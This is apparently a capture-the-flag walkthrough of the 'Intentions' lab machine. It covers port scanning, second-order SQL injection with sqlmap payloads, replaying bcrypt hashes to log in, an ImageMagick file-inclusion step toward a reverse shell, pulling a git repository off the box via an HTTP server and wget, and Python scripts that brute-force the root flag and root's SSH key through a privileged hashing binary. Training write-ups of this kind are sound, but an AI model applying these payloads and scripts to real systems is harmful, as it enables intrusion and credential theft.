$ nmap -p- --min-rate 4000 10.129.19.213
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 21:33 +08
Nmap scan report for 10.129.19.213
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We don't need to add any domains for this machine. Since only port 80 is open, we should be proxying the traffic through Burpsuite.
Image Gallery Enumeration
Port 80 reveals a basic login page:
The HTTP requests sent when visiting this page are rather interesting:
GET / HTTP/1.1Host:10.129.19.213User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeCookie: XSRF-TOKEN=eyJpdiI6InJqcUJXNjhydWtBVm5vbUgwbTlHS2c9PSIsInZhbHVlIjoialliMWxUQU1SOHFLQkJQTjdSd3pVcGxzajArMk1DM2pCaVFNZmlweWJOcWhBQWs0RU9hOWQ2Y2ZLTmpjdG9leFNQeW1mSWhOSjNJOVI1Z0s4RkRjd0MvTjZiTzc5bXNmTTNJT1pVQ1dmalNFbm14Nk1ZN1FraHNvU3IxM2xabVQiLCJtYWMiOiJhYjFiYTI5YTQ0NzMyOTRhMzUyZjM4YzJjZDk1NmY1MmJmMGI1YzNhZTI4NjA4Yzk3ZWJlM2E0NDU3OTNiZDc5IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6ImN5d0szS3JvWDFkZnFPWG9rd1RHRnc9PSIsInZhbHVlIjoiTUJmV21QVG1Yb1NoZ0V6TlNVNWpPWERvRW5qVEJibnh6MlRzTmFrdys0WkVpTVJrMEcvajJyb28wanBhd3ZtV3lkVlNVRkVSZ2txVzE4UGEzT3FvOHJYV2taRTJUTEFhc29pbVpOWFM4bWxDWUZKRWJTNTdKeG9JZ1FkSTh3bmciLCJtYWMiOiJhYWQyZDAwNDAxNWEzMzg0MTA4MjE1N2YzMzcwZGI1OWEwZmNhNDZjYjU1MmZhNzNlZDczZTc0NDhhMDc3MTA2IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests:1
So there are some forms of base64 encoded cookies involved in this website. Anyways, I registered a new user and logged in to view the gallery:
When we login, there is an extra cookie called token that is being assigned. It's a JWT token with this value:
Again, not sure what to do with this yet. We can click on the 'Gallery' option to see the traffic generated:
From the looks of it, it seems that the backend uses some kind of SQL database based on the data returned. When we view our 'Profile', we can see that there is an option to update it with our favourite genres:
This sends this POST request to the backend:
POST /api/v1/gallery/user/genres HTTP/1.1Host:10.129.19.213User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:application/json, text/plain, */*Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateX-Requested-With:XMLHttpRequestContent-Type:application/jsonX-XSRF-TOKEN:eyJpdiI6ImM2YmgvbDlaMlA1RE1vdmhmNUE4NXc9PSIsInZhbHVlIjoiaFJiS0tWNU5jYnRmTFJKUk5wSC9pR0x0ZVcwejdHV3RmRHh6WDNEdmwrV1hTSXh6VGVja1JOMWYrYlpUbHg2azRqRlN5bmlWTEh0eldpWlF3RVFNUEZaVXNxY1hVZGVkUXJmQlp4b2dIdHBYZ0JCOGM0Qk04cmpkdEt2bEVuZEYiLCJtYWMiOiI2YTIxNWUzNTNlYjEzNGM1MmI5OWRlMTg0NTg4MjMwODJiNmIwYjJlY2E4OTM0ZjA4M2QyMTM3NDViYjg1YmVjIiwidGFnIjoiIn0=Content-Length:31Origin:http://10.129.19.213Connection:closeReferer:http://10.129.19.213/galleryCookie: XSRF-TOKEN=eyJpdiI6ImM2YmgvbDlaMlA1RE1vdmhmNUE4NXc9PSIsInZhbHVlIjoiaFJiS0tWNU5jYnRmTFJKUk5wSC9pR0x0ZVcwejdHV3RmRHh6WDNEdmwrV1hTSXh6VGVja1JOMWYrYlpUbHg2azRqRlN5bmlWTEh0eldpWlF3RVFNUEZaVXNxY1hVZGVkUXJmQlp4b2dIdHBYZ0JCOGM0Qk04cmpkdEt2bEVuZEYiLCJtYWMiOiI2YTIxNWUzNTNlYjEzNGM1MmI5OWRlMTg0NTg4MjMwODJiNmIwYjJlY2E4OTM0ZjA4M2QyMTM3NDViYjg1YmVjIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IlZyd1ZTaVJBYnRuSldRS1VHM21xS0E9PSIsInZhbHVlIjoiVTBFUU5BRlExWEt0M0ZFcW0zYTcvMCszc0NjN3puUFp4WWFqbldRTzllcVllTXhyUitaV1BsVlVNSWZwRmN2cSt0UW15YnNrTlRsOHhha25LWE5FM1J5NWpvUTRXMWl6TkM5bkM1ZXN6YnRwMkxUQXRZWHVZSEM4YmpBdjVNNGUiLCJtYWMiOiIyY2FlNGQyYzk0N2FjYjRkNGJmNDMzMGUwNDcxYmE3YTZkYjE2YjU3NWUwYmQxYmJmMzc4NWZjNWQyMjUxZjY2IiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE5LjIxMy9hcGkvdjEvYXV0aC9sb2dpbiIsImlhdCI6MTY4ODM5MTU5MCwiZXhwIjoxNjg4NDEzMTkwLCJuYmYiOjE2ODgzOTE1OTAsImp0aSI6Ijc2SEN0V1UzNmdyQm9oejMiLCJzdWIiOiIyOCIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.xEkDG7ysM7cu2yayeEOBvNmMJQ4fUF1UxlZdLs4GHvA
{"genres":"food,travel,nature"}
I did a gobuster scan for the /api directory and a feroxbuster scan on the general website to find more stuff too.
Within the admin.js file, when we search for the string 'password', we can see this comment at the bottom:
Hey team, I've deployed the v2 API to production and have started using it in the admin section. \n Let me know if you spot any bugs. \n This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! \n By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.\n This should take care of the concerns raised by our users regarding our lack of HTTPS connection.\n
The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some :)
So the API takes the calculated hashed password of the user and passes it for authentication, meaning that if we were to get hashes, we don't actually need to crack them at all. This v2 API looks rather suspicious, but I was unable to interact with it much as no directory scans were returning anything useful.
This was when I got stuck.
2nd Order SQL Injection -> API Login
The only point of weakness seems to be that 'Genre' updating feature, so I went straight into that. When viewing the payload used my sqlmap, I realised it was being sent without the spaces accounted for:
To resolve this, I used the --tamper=space2plus flag. While the sqlmap ran, I checked the other parts of the website. If we attempt to view the /feed, there is a weird error response captured:
This normally didn't happen because requests to this would return images with their IDs. This highlights that the injection results might only be viewable when we send a request here instead, thus making the website potentially vulnerable to 2nd order SQL Injection:
sqlmap has the flag --second-req to test this. I also noticed that the SQL Injections were still failing, so I tried different tampers such as space2comment instead, and it worked!
$ sqlmap -r req --tamper=space2comment --batch --second-req req2
---
Parameter: JSON genres ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"genres":"food,travel,nature') AND 1039=1039 AND ('IkOG'='IkOG"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"genres":"food,travel,nature') AND (SELECT 6642 FROM (SELECT(SLEEP(5)))gerB) AND ('DLAJ'='DLAJ"}
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: {"genres":"food,travel,nature') UNION ALL SELECT NULL,CONCAT(0x716b767671,0x736f6e536e4368556659467759684c574d455759615a5663427247796a62596547774d786a444c5a,0x71626b7171),NULL,NULL,NULL#"}
---
Using this, we can attempt to enumerate the database:
greg and steve are both the administrators of the website, and we have their Bcrypt hashes. I used the same method to login for the v1 API, which involved sending a POST request to /api/v1/auth/login, and it responds as I expected:
Sending the correct parameters resulted in a successful login as greg, which generates a valid token.
Admin API -> RCE
We can grab the token value we were returned on the successful login. Now, we need to find the directory about 'image editing'. We can repeat the above request in a browser, and then check the /admin directory, which now works properly:
Since this was vulnerable to RFI, there's a high chance that it is vulnerable to the exploit above. We can follow the PoC to make it work. Firstly, we need to create a reverse shell payload within an image.
Host this image on a HTTP server, and now comes the tricky part of uploading it (which involves some brute forcing). There seem to be 2 payloads involved in this:
One involving vid:ms1:/tmp/php*.
One with the form-data uploading positive.png to the server as cmd.php.
To start this, we can follow the PoC and use Burp Intruder to do send a lot of requests. Here's the first request:
POST /api/v2/admin/image/modify HTTP/1.1Host:10.129.19.213User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Content-Type:application/jsonCookie:token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE5LjIxMy9hcGkvdjIvYXV0aC9sb2dpbiIsImlhdCI6MTY4ODM5Mzc1NCwiZXhwIjoxNjg4NDE1MzU0LCJuYmYiOjE2ODgzOTM3NTQsImp0aSI6IjJFU1NGWHA5Sno4VVh1Y1EiLCJzdWIiOiIyIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.TXkEvefZecbOrVTbd20__gfPgBcKwvyFO-bEcq5HCo4Content-Length:306Connection:close{ 'path': 'vid:msl:/tmp/php*', 'effect': 'charcoal'}
We cannot read the git log output for this folder:
www-data@intentions:~/html/intentions$ git log -p 2
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:
git config --global --add safe.directory /var/www/html/intentions
In this case, what we can do is just copy the entire .git folder using tar, as zip and 7z are both not present on the machine.
cp-r.git/tmp/.gittar-cvfrep.tar/tmp/.gitpython3-mhttp.server4444## on kaliwget<IP>:4444/rep.tar
Afterwards, we can view the git log -p -2 output to find some credentials.
We can then su to greg.
Scanner Group -> Root Flag
We are part of the scanner group, and I used find to see what files we own:
There's a binary called scanner available on this machine:
greg@intentions:/opt/scanner$ file scanner
scanner: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=a7sTitVjvr1qc4Ngg3jt/LY6QPsAiDYUOHaK7gUXN/5aWVPmSwER6KHrDxGzr4/SUP48whD2UTLJ-Q2kLmf, stripped
greg@intentions:/opt/scanner$ ls -la
total 1412
drwxr-x--- 2 root scanner 4096 Jun 19 11:26 .
drwxr-xr-x 3 root root 4096 Jun 10 15:14 ..
-rwxr-x--- 1 root scanner 1437696 Jun 19 11:18 scanner
This file is too big for reverse engineering, so let's do some dynamic analysis (AKA running it and seeing what it does).
greg@intentions:/opt/scanner$ ./scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.
This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.
The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.
Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}
-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h
Interesting. This file isn't an SUID binary, so let's check its capabilities:
This basically means that the scanner binary can read any file in the system. Since this file can read any file and tell us the hash of this file, we can use it to check whether files exist too.
The binary also allows us to specify the length of the bytes to check, meaning that we can guess each character one by one. For example, when we use -l 1:
The resultant hash is crackable on CrackStation to give the first character of the flag:
We can slowly brute force the root flag out character by character. The user flag was 33 characters, so this should be the same. I took the script from my RainyDay writeup and modified it a bit:
import hashlibimport stringdefmd5hash(s):return hashlib.md5(s.encode()).hexdigest()given_hash ="eccbc87e4b5ce2fe28308fd9f2a7baf3"flag =""charset = string.printablefor c in charset: test_flag = flag + c test_hash =md5hash(test_flag)if test_hash == given_hash:print("Flag is:", test_flag)break
Using that, it is possible to brute force the hash slowly by replacing the hash each time.
greg@intentions:/opt/scanner$ ./scanner -p -s 2 -c /root/root.txt -l 1
[DEBUG] /root/root.txt has hash eccbc87e4b5ce2fe28308fd9f2a7baf3
$ python3 brute.py
Flag is: 3
I think we can do better. First, we can generate all the possible hashes of the root flag:
We can then modify our script a bit to include the full list of hashes and brute force that instead:
import hashlibimport stringhashes = ['eccbc87e4b5ce2fe28308fd9f2a7baf3','6364d3f0f495b6ab9dcf8d3b5c6e0b01','6bcec1e5ab3029f75796afe4569866b9','a2aedc101184177cc09f4daab2a36743','2182d48584191fe8426e380f71c81a5b','4e50b644aa7c3c8b6c616c1a4f1e1600','7033d2b5eef140c0d0e8b6f04f20f69b','43d9414e8985a01a13e28daf58cddf22','dd69bde5698cd06b40da8ac5d4efc680','acc4531bc412f06d837d4b386fc716ec','627f232eb4ca4cc34149b465957842b9','f4c3d71caa281c2e2d78d49395b7e307','eaa344e850ffe22cb61de7d41256e641','f7bcd72029ef9bb45cb81664d3dfe79c','1b6ea862dadf5f328ab34f80bdd997c8','8596faec9865cc958ca3dfa5d82fce7c','c16e4346179f8c51df5c0ab696ba986b','6c92a73288228d922110868850471b71','ec8a2d5c2128cd350b71dce6ec3cb0c2','553e52dbe5da26d9ba8c78daa52493ac','ef4fac2ee1c7efbd6de737cdcbc8eb87','e06e80a0380c15baf048c3fab7843063','5b949c0414383b74637c485f1bcb8a72','5a2c11dd00bd91e02077b37fbdff54ea','b582b0ddbdccce25c35e16715d76c431','39bfc4c47f845e9125da3215b021a086','34e3e199ea8f1e28353154c001f5dfbd','4dc4536ab9c6b4b07d3a1e17111d2580','cac2e5b4e1f6a5f777e84e5839308b7f','5f79b12682936f5e129cc17588b510d5','8f990a781f7556b0582893249a454d5c','edd9709d0bd41c3f9792745d664f49e0','70a9b0ee85b67afca405156dcde9bdd8']defmd5hash(s):return hashlib.md5(s.encode()).hexdigest()flag =""allchars = string.printablefor h in hashes:for c in allchars: test_flag = flag + c test_hash =md5hash(test_flag)if test_hash == h:print("Flag is:", test_flag) flag += cbreak
This would eventually get the correct hash out for us to submit.
Key Brute Force -> Root Shell
I felt a bit weird just capturing the root flag, so let's modify our script a bit more to get the private SSH key of the root user.
greg@intentions:/opt/scanner$foriin{1..3000}; do./scanner-p-s2-c/root/.ssh/id_rsa-l $i >>/tmp/sshkey.txt; done## random guess of 3000 characters
The 3000 limit would trigger a lot of errors since it attempts to read more characters than actually present, so we can just Ctrl + C it when that happens. It still generates the file containing all debug hashes properly.
We can then transfer this to our machine via hosting the output.txt file on a Python HTTP server on the machine, and doing some awk magic on it to get it into Python list format:
Just put this within a list like hashes = [ <all the hashes> ]. Afterwards, sshkey.py can be used to brute force the SSH key:
import hashlibimport stringfrom hashes import hashesdefmd5hash(s):return hashlib.md5(s.encode()).hexdigest()flag =""allchars = string.printablefor h in hashes:for c in allchars: test_flag = flag + c test_hash =md5hash(test_flag)if test_hash == h:print("Key is:", test_flag) flag += cbreak